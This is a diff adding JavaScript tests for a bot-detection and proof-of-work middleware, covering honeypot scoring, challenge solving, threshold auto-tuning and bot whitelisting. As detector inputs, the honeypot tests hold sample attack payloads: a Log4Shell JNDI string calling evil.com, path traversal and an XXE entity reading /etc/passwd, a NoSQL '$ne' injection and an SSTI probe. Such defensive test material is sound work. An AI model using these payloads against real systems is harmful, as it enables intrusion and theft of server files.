+            // --- ÉTAPE 1: Provoquer l'émission du challenge en simulant un score modéré ---
+            // We mock getSuspicionVector to ensure the score is in the moderate range (>= low threshold).
+            // This is more reliable than trying to manipulate the store.
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 40, // This score is above the 'low' threshold of 20
+                rotationScore: 0,
+                headerAnomalyScore: 0,
+                inconsistencyScore: 0,
+                requestPatternScore: 0,
+                honeypotScore: 0
+            });
+
+            const initialReq = {
+                path: '/some-data', ip, cookies: {}, query: {},
+                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint },
+                rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
+            };
+            let challengeBody;
+            const initialRes = {
+                status: () => initialRes,
+                send: (body) => { challengeBody = body; },
+                cookie: vi.fn()
+            };
+            const middleware = powMiddleware(securityConfig);
+            await middleware(initialReq, initialRes, vi.fn());
+
+            expect(challengeBody).toBeDefined();
+            expect(challengeBody).toContain('Enhanced Verification');
+
+            // --- ÉTAPE 2: Extraire les paramètres du challenge et le résoudre ---
+            const nonce = challengeBody.match(/const nonce = "([^"]+)"/)[1];
+            const clientSecret = challengeBody.match(/const clientSecret = "([^"]+)"/)[1];
+            const cpuTargetHex = challengeBody.match(/const cpuTarget = BigInt\("0x" \+ "([^"]+)"\);/)[1];
+            const memDifficulty = parseInt(challengeBody.match(/const memDifficulty = (\d+)/)[1], 10);
+
+            // The server stores the challenge context. We need to ensure the `baseBlock` is present for verification.
+            const baseBlock = new TextEncoder().encode(`${nonce}:${clientSecret}:${solverFingerprint}:`);
+            await inMemoryStore.set(`secret:${nonce}`, {
+                clientSecret: clientSecret,
+                cpuTarget: cpuTargetHex,
+                memDifficulty: memDifficulty,
+                fingerprint: solverFingerprint, // The server expects this fingerprint.
+                originalPath: '/some-data',
+                baseBlock: baseBlock, // CRITICAL: The verification function needs this.
+                suspicionScore: 40 // Store the score that triggered the challenge
+            });
+
+            // Client-side solving using the real solver function for accuracy
+            const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTargetHex, () => {});
+            const memSolution = await solveMemory(`:${nonce}:${clientSecret}`, memDifficulty);
+
+
+            // --- ÉTAPE 3: Soumettre la solution ---
+            const submissionReq = {
+                path: '/some-data', ip, cookies: {},
+                query: {
+                    pow_type: 'cpu_mem',
+                    pow_nonce: nonce,
+                    pow_solution_cpu: String(cpuSolution),
+                    pow_solution_mem: String(memSolution),
+                    pow_fp: solverFingerprint // The client submits its fingerprint.
+                },
+                headers: { 'user-agent': userAgent, 'x-device-fingerprint': solverFingerprint }, rawHeaders: ['User-Agent', userAgent], httpVersion: '1.1'
+            };
+
+            let capturedCookie;
+            const submissionRes = {
+                cookie: (name, value, options) => { capturedCookie = { name, value, options }; return submissionRes; },
+                redirect: vi.fn(),
+                // Add status and send to the mock to handle potential challenge re-issuance on failure
+                status: vi.fn(function() { return this; }),
+                send: vi.fn(),
+            };
+
+            submissionReq.fingerprint = {}; // Initialize req.fingerprint
+            await middleware(submissionReq, submissionRes, vi.fn());
+
+            // --- ÉTAPE 4: Assertions ---
+            expect(submissionRes.redirect).toHaveBeenCalled();
+            expect(capturedCookie).toBeDefined();
+            expect(capturedCookie.name).toBe('pow_clearance');
+            // The key assertion: the cookie's maxAge should be the short probationary TTL
+            expect(capturedCookie.options.maxAge).toBe(probationaryTtl);
+        }, 40000);
+
+        test('should NOT redirect if PoW solution is valid but clientSecret is wrong', async () => {
+            const ip = '127.0.0.1';
+            const nonce = 'test-nonce-wrong-secret';
+            const correctClientSecret = 'the-correct-secret'; // This is what the client gets and uses
+            const wrongClientSecretOnServer = 'the-wrong-secret';
+            const suspicionFactor = 0.1;
+            const securityConfigWithLowDiff = {
+                ...securityConfig,
+                cpu: { minDifficultyBits: 4, ...securityConfig.cpu }, // Merge configs correctly
+            };
+            const solverFingerprint = 'fp-test';
+            const target = __internal.calculateTarget(suspicionFactor, securityConfigWithLowDiff);
+            const baseBlock = new TextEncoder().encode(`${nonce}:${correctClientSecret}:${solverFingerprint}:`);
+
+            // 1. Le client résout le challenge avec le secret qu'il a reçu (le bon)
+            let solution = 0;
+            // Client-side simulation: hash does NOT include IP when clientSecret is used.
+            while (solution < 100000) { // Add a limit to prevent infinite loops in case of bad target
+                const hash = createHash('sha256').update(Buffer.concat([Buffer.from(baseBlock), Buffer.from(String(solution))])).digest('hex');
+                if (BigInt('0x' + hash) < target) break;
+                solution++;
+            }
+
+            // 2. Le serveur, pour une raison quelconque (corruption, attaque), a un mauvais secret stocké
+            await inMemoryStore.set(`secret:${nonce}`, {
+                clientSecret: wrongClientSecretOnServer, // The secret is wrong
+                cpuTarget: target.toString(16), // But the target is correct
+                memDifficulty: 0,
+                fingerprint: solverFingerprint, // Fingerprint is correct
+                baseBlock: new TextEncoder().encode(`${nonce}:${wrongClientSecretOnServer}:${solverFingerprint}:`)
+            });
+
+            vi.spyOn(__internal, 'getSuspicionVector').mockImplementation(async function() {
+                return {
+                    historyScore: 25, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, honeypotScore: 0
+                };
+            });
+
+            const req = {
+                path: '/protected', ip, cookies: {},
+                query: {
+                    pow_type: 'cpu_target', pow_nonce: nonce, pow_solution: solution, pow_fp: solverFingerprint
+                },
+                headers: { 'user-agent': 'test-ua' }, rawHeaders:[], httpVersion: '1.1'
+            };
+
+            let sentStatus, sentBody;
+            const res = {
+                status: (s) => { sentStatus = s; return res; },
+                send: (b) => { sentBody = b; },
+                redirect: vi.fn(), // On s'attend à ce que cette fonction ne soit PAS appelée
+                cookie: vi.fn()
+            };
+            const next = vi.fn();
+
+            req.fingerprint = {};
+            await powMiddleware(securityConfigWithLowDiff)(req, res, next);
+
+            expect(res.redirect).not.toHaveBeenCalled();
+            // An invalid solution is a strong bot signal (honeypotScore=100), which should trigger a block.
+            expect(sentStatus, 'Should return status 404 to block the request').toBe(404);
+            expect(sentBody, 'Should send a Forbidden message').toBe('Forbidden');
+            // Use the same fallback logic as the engine: default block threshold is 95 if not specified.
+            const blockThreshold = securityConfigWithLowDiff.thresholds.block ?? 95;
+            expect(req.fingerprint.score).toBeGreaterThanOrEqual(blockThreshold);
+        });
+
+        test('should redirect after a valid COMBINED (CPU+Mem) PoW solution is provided', async (context) => {
+
+        });
+    });
+
+    describe('Suspicion Scoring Logic (Integration)', () => {
+        const inMemoryStore = {
+            _map: new Map(),
+            async get(key) { return this._map.get(key); },
+            async set(key, value) { this._map.set(key, value); },
+        };
+        beforeEach(() => {
+            inMemoryStore._map.clear();
+            configureStore(inMemoryStore);
+            // Add a default mock for getTlsFingerprint to stabilize these tests.
+            // This needs to spy on the actual function, not the __internal export.
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
+                ja3: 'mock-ja3',
+                ja4: 'mock-ja4'
+            });
+        });
+
+        test('should produce a high historyScore for rapid IP rotation', async () => {
+            const req = {
+                headers: {
+                    'user-agent': 'test',
+                    'x-device-fingerprint': 'cvs:123|gpu:456|hw:789' // Simulate client-side FP
+                },
+                cookies: {}, ip: '1.1.1.1', path: '/', query: {}, rawHeaders: ['User-Agent', 'test']
+            };
+            const res = { cookie: vi.fn() };
+            // Simulate a device using many IPs
+            const deviceData = { initialDeviceHash: 'hash1', ips: new Set(['1.1.1.2', '1.1.1.3', '1.1.1.4', '1.1.1.5', '1.1.1.6']), lastUpdate: Date.now(), lastFpHash: 'hash1', lastChangeTimestamp: 0, rapidChangeCount: 0 };
+            await inMemoryStore.set('device:test-device-id', deviceData);
+            req.cookies.device_id = 'test-device-id';
+
+            // We need an engine instance to hold the security config for the context
+            const securityConfig = {
+                weights: { historyScore: 1.0 },
+                thresholds: { low: 20 },
+            };
+            const engine = new FingerprintEngine(securityConfig);
+
+            req.fingerprint = {}; // Initialize req.fingerprint
+            const vector = await __internal.getSuspicionVector(req, securityConfig);
+            expect(vector.historyScore).toBeGreaterThan(20);
+        });
+
+        test('should produce a high honeypotScore for a trapped URL parameter', async () => {
+            // Configure the honeypot to trap the 'debug' parameter
+            const securityConfigWithHoneypot = {
+                weights: { honeypotScore: 1.0 },
+                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
+                honeypot: { // Configuration complète
+                    fields: ['email_confirm', 'debug']
+                }
+            };
+            const engine = new FingerprintEngine(securityConfigWithHoneypot);
+
+            const requestContext = {
+                clientIp: '1.1.1.1',
+                path: '/',
+                cookies: {},
+                query: new URLSearchParams({ user_id: '123', debug: 'true' }), // Bot is probing with a 'debug' parameter
+                body: {},
+                headers: { 'User-agent': 'test' },
+                rawHeaders: ['User-Agent', 'test'],
+                httpVersion: '1.1',
+                isStatic: false
+            };
+
+            requestContext.fingerprint = {}; // Initialize req.fingerprint
+            // Call the main engine processing method to get the full decision object
+            const decision = await engine.processRequest(requestContext);
+            console.log({decision})
+
+            // The honeypotScore should be 100 because the 'debug' parameter was found
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.score).toBe(100); // With weight 1.0, the final score should also be 100
+        });
+
+        test('should produce a high honeypotScore for RCE attempt in body', async () => {
+            const securityConfig = {
+                weights: { honeypotScore: 1.0 },
+                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
+                honeypot: { detectInjections: true } // Configuration complète
+            };
+            const engine = new FingerprintEngine(securityConfig);
+            const requestContext = {
+                query: {},
+                path: '/',
+                body: { filename: "../../../etc/passwd" },
+                headers: { 'user-agent': 'test' },
+                // ... autres propriétés du contexte
+            };
+
+            requestContext.fingerprint = {}; // Initialize req.fingerprint
+            const decision = await engine.processRequest(requestContext);
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.score).toBe(100);
+        });
+
+        test('should produce a high honeypotScore for NoSQL injection attempt in body', async () => {
+            const securityConfig = {
+                weights: { honeypotScore: 1.0 },
+                thresholds: { low: 20, medium: 45, high: 75 }, // Configuration complète
+                honeypot: { detectInjections: true } // Configuration complète
+            };
+            const engine = new FingerprintEngine(securityConfig);
+            const requestContext = {
+                query: {},
+                path: '/',
+                body: { "username": { "$ne": null }, "password": { "$ne": null } },
+                headers: { 'user-agent': 'test' },
+                // ... autres propriétés du contexte
+            };
+
+            requestContext.fingerprint = {}; // Initialize req.fingerprint
+            const decision = await engine.processRequest(requestContext);
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.score).toBe(100);
+        });
+
+        test('should produce a zero honeypotScore for a normal request', async () => {
+            const securityConfig = {
+                weights: { honeypotScore: 1.0 },
+                thresholds: { low: 20, medium: 45, high: 75 },
+                // Explicitly disable the new device challenge for this test to ensure a score of 0 is possible.
+                challengeNewDevices: false,
+                honeypot: { detectInjections: true } // Configuration complète
+            };
+            const engine = new FingerprintEngine(securityConfig);
+            const requestContext = {
+                query: new URLSearchParams({ id: "123" }),
+                body: { comment: "This is a normal comment." },
+                headers: { 'user-agent': 'test' },
+                path: '/'
+            };
+            requestContext.fingerprint = {}; // Initialize req.fingerprint
+            const decision = await engine.processRequest(requestContext);
+            expect(decision.vector.honeypotScore).toBe(0); // Le score honeypot doit être 0
+        });
+    });
+
+    describe('Threshold Auto-Tuning', () => {
+        let setIntervalSpy, clearIntervalSpy, consoleLogSpy;
+
+        beforeEach(() => {
+            setIntervalSpy = vi.spyOn(global, 'setInterval');
+            clearIntervalSpy = vi.spyOn(global, 'clearInterval');
+            consoleLogSpy = vi.spyOn(console, 'log').mockImplementation(() => {});
+        });
+        afterEach(() => {
+            vi.restoreAllMocks();
+            stopThresholdAutoTuning(); // Ensure cleanup after each test
+        });
+
+        test('should start, run an optimization cycle, and update thresholds', () => {
+            const trafficData = [];
+            const securityConfig = {
+                thresholds: { low: 50, medium: 70, high: 90 }, // Mauvais seuils initiaux intentionnels
+                weights: { historyScore: 0.5, rotationScore: 0.5, requestPatternScore: 0.5 }, // Poids initiaux
+                patterns: { velocityThreshold: 1000, decayFactor: 0.9 }, // Patterns initiaux
+                logger: (log) => trafficData.push(log),
+            };
+
+            // Generate mock data where optimal 'low' threshold is around 25
+            // Bots with low scores (false negatives)
+            for (let i = 0; i < 50; i++) {
+                const score = 15 + Math.random() * 5;
+                trafficData.push({ type: 'challenge_issued', deviceId: `bot-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
+            }
+            // Humans with slightly higher scores (false positives)
+            for (let i = 0; i < 50; i++) {
+                const score = 30 + Math.random() * 5;
+                trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
+            }
+            // Solved challenges (clear humans)
+            for (let i = 0; i < 20; i++) {
+                const score = 40;
+                trafficData.push({ type: 'challenge_solved', deviceId: `human-solver-${i}`, score, vector: { historyScore: score, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0, honeypotScore: 0, behaviorScore: 0, crossLayerInconsistencyScore: 0, timeInconsistencyScore: 0 } });
+            }
+
+
+            startThresholdAutoTuning({
+                securityConfig,
+                trafficData,
+                interval: 60000, // 1 minute
+                minDataPoints: 100,
+            });
+
+            // Manually trigger the optimization cycle
+            const intervalCallback = setIntervalSpy.mock.calls[0][0];
+            intervalCallback();
+
+            // The genetic algorithm should find better thresholds.
+            // We expect 'low' to decrease significantly from 50.
+            // With inertia, the change is gradual. We check that it has decreased but not jumped to the final value.
+            expect(securityConfig.thresholds.low).toBeLessThan(50); // It must have decreased.
+            expect(securityConfig.thresholds.low).toBeGreaterThan(30); // It shouldn't have jumped all the way down.
+            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Nouvelle configuration de sécurité optimisée appliquée.'));
+            expect(setIntervalSpy).toHaveBeenCalledTimes(1);
+
+            // Stop the tuner and check if the interval is cleared
+            stopThresholdAutoTuning();
+            expect(clearIntervalSpy).toHaveBeenCalled();
+        });
+
+        test('should not run optimization if data points are insufficient', () => {
+            const trafficData = [];
+            const securityConfig = {
+                thresholds: { low: 20, medium: 45, high: 75 },
+                weights: {}, // Add missing properties to prevent TypeError
+                patterns: {}, // Add missing properties to prevent TypeError
+                logger: (log) => trafficData.push(log),
+            };
+
+            // Generate only 50 data points, less than the minimum of 100
+            for (let i = 0; i < 50; i++) {
+                const score = 10;
+                trafficData.push({ type: 'request_passed', deviceId: `human-${i}`, score, vector: { historyScore: score } });
+            }
+
+            startThresholdAutoTuning({
+                securityConfig,
+                trafficData,
+                interval: 60000,
+                minDataPoints: 100,
+            });
+
+            // Manually trigger the cycle
+            const intervalCallback = setIntervalSpy.mock.calls[0][0];
+            intervalCallback();
+
+            // Check that optimization was postponed
+            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Reporté'));
+            // Thresholds should not have changed
+            expect(securityConfig.thresholds).toEqual({ low: 20, medium: 45, high: 75 });
+
+            // Add more data to meet the minDataPoints and MIN_CONFIDENCE_RATIO thresholds
+            // 1. Add enough low-confidence data to reach the minDataPoints
+            for (let i = 0; i < 45; i++) { // Add 45 more to reach 95
+                const score = 10;
+                trafficData.push({ type: 'request_passed', deviceId: `human-new-${i}`, score, vector: { historyScore: score } });
+            }
+            // 2. Add high-confidence data to pass the ratio check (5% of 100 is 5)
+            for (let i = 0; i < 5; i++) {
+                const score = 30;
+                trafficData.push({ type: 'challenge_solved', deviceId: `solver-${i}`, score, vector: { historyScore: score } });
+            }
+
+            // Trigger again
+            intervalCallback();
+            // Now that both conditions (minDataPoints and confidence ratio) are met, optimization should start.
+            expect(consoleLogSpy).toHaveBeenCalledWith(expect.stringContaining('[AutoTuning] Démarrage du cycle d\'optimisation'));
+        });
+    });
+
+
+    describe('getHoneypotScore Advanced Detections', () => {
+        // Helper to run tests through the real FingerprintEngine
+        beforeEach(() => {
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({ ja3: 'mock-ja3', ja4: 'mock-ja4' });
+        });
+
+        const getHoneypotScoreFromEngine = async (context, honeypotConfig) => {
+            const securityConfig = {
+                weights: { honeypotScore: 1.0 }, // Isolate honeypot score
+                thresholds: { low: 1, medium: 2, high: 3 }, // Configuration complète
+                honeypot: honeypotConfig, // Configuration complète
+            };
+            // The engine expects a full request context. We build one here.
+            const fullContext = {
+                clientIp: '127.0.0.1',
+                path: '/',
+                query: {},
+                cookies: {},
+                headers: { 'user-agent': 'test' },
+                ...context, // Spread the test-specific context (body, headers)
+            };
+            const engine = new FingerprintEngine(securityConfig);
+            const decision = await engine.processRequest(fullContext);
+            return { honeypotScore: decision.vector.honeypotScore };
+        };
+
+        it('should detect Log4Shell injection attempts', async () => {
+            const context = { body: { username: 'test', comment: 'Hello ${jndi:ldap://evil.com/a}' } };
+            // Explicitly enable the check for this test
+            const config = { detectInjections: ['log4shell'], fields: [] };
+            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
+        });
+
+        it('should detect Server-Side Template Injection (SSTI)', async () => {
+            const context = { query: { name: '{{ 7*7 }}' } };
+            // Explicitly enable the check for this test
+            const config = { detectInjections: ['ssti'], fields: [] };
+            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
+        });
+
+        it('should detect XML External Entity (XXE) injection', async () => {
+            const context = { body: { xml_payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' } };
+            // Explicitly enable the check for this test
+            const config = { detectInjections: ['xxe'], fields: [] };
+            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(100);
+        });
+
+        it('should NOT detect human-like field interaction order', async () => {
+            const context = {
+                body: { username: 'human', password: 'password123' },
+                headers: { 'x-form-interaction': 'password,username' } // Ordre inversé
+            };
+            const config = { checkFieldOrder: true, fields: [] };
+            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
+        });
+
+        it('should not trigger on legitimate requests', async () => {
+            const context = {
+                body: { username: 'legit', comment: 'This is a normal comment.' },
+                headers: { 'x-form-interaction': 'username,comment' }
+            };
+            const config = { detectInjections: true, checkFieldOrder: true, fields: [] };
+            expect((await getHoneypotScoreFromEngine(context, config)).honeypotScore).toBe(0);
+        });
+    });
+
+    describe('Honeypot Scenarios', () => {
+        const inMemoryStore = {
+            _map: new Map(),
+            async get(key) { return this._map.get(key); },
+            async set(key, value) { this._map.set(key, value); },
+            async has(key) { return this._map.has(key); },
+            async delete(key) { this._map.delete(key); },
+        };
+
+        beforeEach(() => {
+            inMemoryStore._map.clear();
+            configureStore(inMemoryStore);
+            vi.restoreAllMocks();
+            // Add a default mock for getTlsFingerprint to stabilize these tests.
+            // This needs to spy on the actual function, not the __internal export.
+            vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
+                ja3: 'mock-ja3', ja4: 'mock-ja4'
+            });
+        });
+
+        const baseSecurityConfig = {
+            weights: { historyScore: 0.1, rotationScore: 0.1, headerAnomalyScore: 0.1, inconsistencyScore: 0.1, honeypotScore: 1.0 },
+            thresholds: { low: 20, medium: 45, high: 75, block: 95 },
+            honeypot: {
+                fields: ['email_confirm'],
+                trapUrls: ['/wp-admin', '/.env'],
+                detectInjections: true
+            }
+        };
+
+        it('should immediately block a request to a trap URL', async () => {
+            const engine = new FingerprintEngine(baseSecurityConfig);
+            const requestContext = {
+                clientIp: '1.1.1.1',
+                path: '/wp-admin/login.php', // Hitting a trap URL
+                cookies: {},
+                query: {},
+                body: {},
+                headers: { 'user-agent': 'A regular browser' },
+                rawHeaders: ['user-agent', 'A regular browser'],
+                isStatic: false,
+            };
+
+            const decision = await engine.processRequest(requestContext);
+
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.score).toBeGreaterThanOrEqual(100);
+            expect(decision.action).toBe('block');
+            expect(decision.status).toBe(404);
+        });
+
+        it('should penalize direct challenge probing', async () => {
+            const engine = new FingerprintEngine(baseSecurityConfig);
+            // This request is not suspicious on its own...
+            vi.spyOn(__internal, 'getSuspicionVector').mockResolvedValue({
+                historyScore: 0, rotationScore: 0, headerAnomalyScore: 0, inconsistencyScore: 0, requestPatternScore: 0
+            });
+
+            const requestContext = {
+                clientIp: '1.1.1.1',
+                path: '/',
+                cookies: {},
+                query: { pow_nonce: 'some-nonce-the-bot-is-testing' }, // ...but it's probing a challenge endpoint.
+                body: {},
+                headers: { 'user-agent': 'A regular browser' },
+                rawHeaders: ['user-agent', 'A regular browser'],
+                isStatic: false,
+            };
+
+            const decision = await engine.processRequest(requestContext);
+
+            // The engine should detect the probe and assign a max honeypot score.
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.score).toBeGreaterThanOrEqual(100);
+            // The action should be to block the request.
+            expect(decision.action).toBe('block');
+        });
+
+        it('should persist the "condemned" status of a device across requests', async () => {
+            const engine = new FingerprintEngine(baseSecurityConfig);
+            const deviceId = 'condemned-device-123';
+
+            // Step 1: The device hits a trap URL and gets condemned.
+            const trapRequestContext = { // This context is for conceptual setup, not direct processing in this test
+                clientIp: '1.1.1.1',
+                path: '/.env', // Trap URL
+                cookies: { device_id: deviceId },
+                query: {}, body: {}, headers: { 'user-agent': 'A regular browser' }, isStatic: false,
+            };
+
+            // We need to store the initial device data for the condemnation to stick.
+            await inMemoryStore.set(`device:${deviceId}`, {
+                initialDeviceHash: 'any-hash',
+                ips: new Set(['1.1.1.1']),
+                lastUpdate: Date.now(),
+                lastFpHash: 'any-hash',
+                lastChangeTimestamp: 0,
+                rapidChangeCount: 0,
+                condemned: true // This is the key part
+            });
+
+            // Step 2: The same device makes a new, seemingly innocent request.
+            const innocentRequestContext = {
+                clientIp: '1.1.1.1',
+                path: '/legitimate-page', // Normal URL
+                cookies: { device_id: deviceId }, // Same device ID
+                query: new URLSearchParams(), body: {}, headers: { 'user-agent': 'A regular browser' }, rawHeaders: ['user-agent', 'A regular browser'], isStatic: false,
+            };
+
+            const decision = await engine.processRequest(innocentRequestContext);
+
+            // The honeypot score should still be 100 due to the persisted "condemned" status.
+            expect(decision.vector.honeypotScore).toBe(100);
+            expect(decision.action).toBe('block');
+        });
+
+        it('should use external analyzers to detect threats', async () => {
+            const customAnalyzer = vi.fn((data) => {
+                // This analyzer flags any request containing the word 'custom-threat'
+                return JSON.stringify(data).includes('custom-threat');
+            });
+
+            const securityConfigWithAnalyzer = {
+                // On crée une config locale pour ce test pour éviter les interférences
+                weights: baseSecurityConfig.weights,
+                thresholds: baseSecurityConfig.thresholds,
+                // Pour ce test, on désactive le challenge des nouveaux appareils pour isoler le comportement de l'analyseur.
+                // Cela empêche une requête propre d'être challengée juste parce qu'elle est nouvelle.
+                challengeNewDevices: false,
+                honeypot: { // Configuration complète
+                    ...baseSecurityConfig.honeypot,
+                    analyzers: [customAnalyzer]
+                }
+            };
+
+            const engine = new FingerprintEngine(securityConfigWithAnalyzer);
+
+            // 1. Test a request that should be flagged by the analyzer
+            const maliciousRequestContext = {
+                clientIp: '1.1.1.1',
+                path: '/some-path',
+                cookies: {},
+                query: {},
+                body: { comment: 'this is a custom-threat' },
+                headers: { 'user-agent': 'A regular browser' },
+                rawHeaders: ['user-agent', 'A regular browser'],
+                isStatic: false,
+            };
+
+            const decisionMalicious = await engine.processRequest(maliciousRequestContext);
+
+            expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a custom-threat' });
+            expect(decisionMalicious.vector.honeypotScore).toBe(100);
+            expect(decisionMalicious.action).toBe('block');
+
+            // 2. Test a normal request that should not be flagged
+            const cleanRequestContext = {
+                clientIp: '2.2.2.2',
+                path: '/some-path',
+                cookies: {},
+                query: {},
+                body: { comment: 'this is a normal comment' },
+                headers: { 'user-agent': 'A regular browser', 'accept-language': 'en-US,en;q=0.9' },
+                rawHeaders: ['user-agent', 'A regular browser', 'accept-language', 'en-US,en;q=0.9'],
+                isStatic: false,
+            };
+
+            const decisionClean = await engine.processRequest(cleanRequestContext);
+
+            expect(customAnalyzer).toHaveBeenCalledWith({ comment: 'this is a normal comment' });
+            // The honeypot score should be 0 as no other traps were triggered
+            expect(decisionClean.vector.honeypotScore).toBe(0);
+        });
+    });
+
+    describe('getBehaviorScore', () => {
+        // La fonction est privée, on la récupère via l'export __internal
+        // FIX: Correctly assign the function before tests run.
+        beforeEach(() => {
+            getBehaviorScore = fingerprint.__internal.getBehaviorScore;
+        });
+
+        beforeEach(() => {
+            getBehaviorScore = fingerprint.__internal.getBehaviorScore;
+        });
+
+        it('should return a score of 0 when x-behavior-metrics header is missing', () => {
+            const context = { headers: {} };
+            const { behaviorScore } = getBehaviorScore(context);
+            expect(behaviorScore).toBe(0);
+        });
+
+        it('should return a score of 100 for honeypot interaction', () => {
+            const metrics = { honeypotInteraction: true, mouseEntropy: 50, keystrokeLatency: 120 };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { behaviorScore } = getBehaviorScore(context);
+            expect(behaviorScore).toBe(100);
+        });
+
+        it('should return a score of 40 for no mouse or keyboard activity', () => {
+            const metrics = { honeypotInteraction: false, mouseMovementsHistory: [], keystrokeLatency: 0 };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { behaviorScore } = getBehaviorScore(context);
+            expect(behaviorScore).toBe(40);
+        });
+
+        it('should return a score of 0 for normal user activity', () => {
+            // Données de test avec un mouvement moins linéaire pour éviter la pénalité de "rectitude"
+            const metrics = { 
+                honeypotInteraction: false, 
+                mouseMovementsHistory: [{x:10,y:10,t:1},{x:12,y:15,t:100},{x:18,y:12,t:200},{x:25,y:25,t:300}], 
+                keystrokeLatency: 88.2 
+            };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { behaviorScore } = getBehaviorScore(context);
+            expect(behaviorScore).toBeLessThan(10); // Le score ne sera pas exactement 0, mais il devrait être très bas.
+        });
+
+        it('should return a score of 10 for a malformed header', () => {
+            const context = { headers: { 'x-behavior-metrics': 'this is not json' } };
+            const { behaviorScore } = getBehaviorScore(context);
+            expect(behaviorScore).toBe(10);
+        });
+    });
+
+    describe('getClickVarianceScore', () => {
+        // FIX: Correctly assign the function before tests run.
+        beforeEach(() => {
+            getClickVarianceScore = fingerprint.__internal.getClickVarianceScore;
+        });
+
+        it('should return 0 if no click history is present', () => {
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify({}) } };
+            const { clickVarianceScore } = getClickVarianceScore(context);
+            expect(clickVarianceScore).toBe(0);
+        });
+
+        it('should return 0 if there are not enough clicks on a single target', () => {
+            const metrics = {
+                clicksHistory: [
+                    { x: 10, y: 10, targetId: 'hash1' },
+                    { x: 11, y: 11, targetId: 'hash1' },
+                    { x: 100, y: 100, targetId: 'hash2' }
+                ]
+            };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { clickVarianceScore } = getClickVarianceScore(context);
+            expect(clickVarianceScore).toBe(0);
+        });
+
+        it('should return a high score for clicks with very low variance', () => {
+            const metrics = {
+                clicksHistory: [
+                    { x: 100, y: 100, targetId: 'hash1' },
+                    { x: 100.1, y: 100.2, targetId: 'hash1' },
+                    { x: 99.9, y: 99.8, targetId: 'hash1' }
+                ]
+            };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { clickVarianceScore } = getClickVarianceScore(context);
+            expect(clickVarianceScore).toBeGreaterThan(90);
+        });
+
+        it('should return a low score for clicks with high (human-like) variance', () => {
+            const metrics = {
+                clicksHistory: [
+                    { x: 105, y: 110, targetId: 'hash1' },
+                    { x: 98, y: 102, targetId: 'hash1' },
+                    { x: 112, y: 95, targetId: 'hash1' }
+                ]
+            };
+            const context = { headers: { 'x-behavior-metrics': JSON.stringify(metrics) } };
+            const { clickVarianceScore } = getClickVarianceScore(context);
+            expect(clickVarianceScore).toBe(0);
+        });
+    });
+
+    describe('Bot Whitelisting', () => {
+        const inMemoryStore = {
+            _map: new Map(),
+            get: async (key) => inMemoryStore._map.get(key),
+            set: async (key, value) => inMemoryStore._map.set(key, value),
+            has: async (key) => inMemoryStore._map.has(key),
+            delete: async (key) => inMemoryStore._map.delete(key),
+        };
+
+        const securityConfig = {
+            weights: {}, // Add empty weights to satisfy the validator
+            thresholds: {}, // Add empty thresholds to satisfy the validator
+            whitelist: [
+                { userAgent: 'Googlebot', hostnameSuffix: '.googlebot.com' },
+                { userAgent: 'TestBot', hostnameSuffix: '.test-verifier.com' },
+                { userAgent: 'MalformedRegexBot(]', hostnameSuffix: '.invalid.com' } // Invalid regex
+            ]
+        };
+
+        let engine;
+
+        beforeEach(() => {
+            inMemoryStore._map.clear();
+            configureStore(inMemoryStore);
+            vi.resetAllMocks(); // Reset mocks before each test
+            engine = new FingerprintEngine(securityConfig);
+        });
+
+        test('should verify a legitimate Googlebot', async () => {
+            const googleIp = '66.249.66.1';
+            const googleHostname = 'crawl-66-249-66-1.googlebot.com';
+
+            vi.mocked(dns.reverse).mockResolvedValue([googleHostname]);
+            vi.mocked(dns.resolve).mockResolvedValue([googleIp]);
+
+            const requestContext = {
+                clientIp: googleIp,
+                headers: { 'user-agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)' }
+            };
+
+            const isVerified = await engine._verifyWhitelistedBot(requestContext);
+            expect(isVerified).toBe(true);
+            expect(vi.mocked(dns.reverse)).toHaveBeenCalledWith(googleIp);
+            expect(vi.mocked(dns.resolve)).toHaveBeenCalledWith(googleHostname);
+        });
+
